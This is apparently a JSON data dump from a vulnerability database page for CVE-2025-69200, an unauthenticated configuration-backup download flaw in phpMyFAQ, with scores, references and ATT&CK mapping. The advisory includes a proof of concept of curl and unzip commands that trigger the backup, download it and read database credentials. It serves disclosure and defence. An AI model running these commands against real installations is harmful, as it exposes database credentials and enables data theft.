[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"cve-CVE-2025-69200":3},{"id":4,"cve_id":5,"euvd_id":6,"summary":7,"published":8,"cvss_data":9,"is_remote":19,"cwes":20,"cpes":22,"technologies":27,"references":30,"score":35,"epss_score":36,"epss_percentile":37,"is_kev":38,"cisa_kev_date_added":39,"cisa_kev_due_date":39,"cisa_ssvc":40,"attack_mappings":50,"exploits":57},101709,"CVE-2025-69200","EUVD-2025-205600","phpMyFAQ has unauthenticated config backup download via \u002Fapi\u002Fsetup\u002Fbackup\n\n### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST \u002Fapi\u002Fsetup\u002Fbackup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `\u002Fapi\u002Fsetup\u002Fbackup` is reachable via default rewrite rules and does not enforce authentication\u002Fauthorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n  - `phpmyfaq\u002F.htaccess`: `RewriteRule ^api\u002Fsetup\u002F(check|backup|update-database) api\u002Findex.php [L,QSA]`\n- Controller implementation:\n  - `phpmyfaq\u002Fsrc\u002FphpMyFAQ\u002FController\u002FApi\u002FSetupController.php` → `backup()`\n    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n  - `phpmyfaq\u002Fsrc\u002FphpMyFAQ\u002FSetup\u002FUpdate.php` → `createConfigBackup()`\n    - Writes the ZIP into the config directory and returns a public URL under `content\u002Fcore\u002Fconfig\u002F`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http:\u002F\u002Flocalhost\"\ncurl -i -X POST \"${BASE_URL}\u002Fapi\u002Fsetup\u002Fbackup\" \\\n  -H \"Content-Type: text\u002Fplain\" \\\n  --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http:\u002F\u002Flocalhost\u002Fcontent\u002Fcore\u002Fconfig\u002Fphpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host\u002Fuser\u002Fpassword.\n\n### Impact\n- Vulnerability class: Missing authentication\u002Fauthorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.","2025-12-30T15:31:00Z",{"cvss_v3.1":10},{"scope":11,"version":12,"baseScore":13,"attackVector":14,"baseSeverity":15,"vectorString":16,"integrityImpact":17,"userInteraction":17,"attackComplexity":18,"availabilityImpact":17,"privilegesRequired":17,"confidentialityImpact":15},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","NONE","LOW",true,[21],"CWE-202",[23,24,25,26],"cpe:2.3:a:phpmyfaq:phpmyfaq:4.1.0:rc:*:*:*:*:*:*","cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*","cpe:2.3:a:thorsten:phpmyfaq:4.1.0-beta.2:*:*:*:*:*:*:*","cpe:2.3:a:thorsten:phpmyfaq:*:*:*:*:*:*:*:*",[28,29],"Phpmyfaq Phpmyfaq","Thorsten Phpmyfaq",[31,32,33,34],"https:\u002F\u002Fgithub.com\u002Fthorsten\u002FphpMyFAQ\u002Fcommit\u002Fb0e99ee3695152115841cb546d8dce64ceb8c29a","https:\u002F\u002Fgithub.com\u002Fthorsten\u002FphpMyFAQ\u002Fsecurity\u002Fadvisories\u002FGHSA-9cg9-4h4f-j6fg","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-69200","https:\u002F\u002Fgithub.com\u002Fthorsten\u002FphpMyFAQ",0.73,0.02141,0.81925,false,null,{"timestamp":41,"automatable":42,"tech_impact":43,"exploitation":44,"cisa_decision":45,"cisa_remediation_timeline":49},"2025-12-29T16:14:22.791625Z","yes","partial","poc",{"vector":46,"decision":47,"priority":48},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-25T17:17:01.395083\u002F","attend","medium","14D",[51],{"name":52,"source":53,"tactics":54,"technique_id":56},"Exploit Public-Facing Application","attack_vector",[55],"initial-access","T1190",[58,59],{"link":32},{"link":60},"https:\u002F\u002Fgithub.com\u002Fprojectdiscovery\u002Fnuclei-templates\u002Fblob\u002Fmain\u002Fhttp\u002Fcves\u002F2025\u002FCVE-2025-69200.yaml"]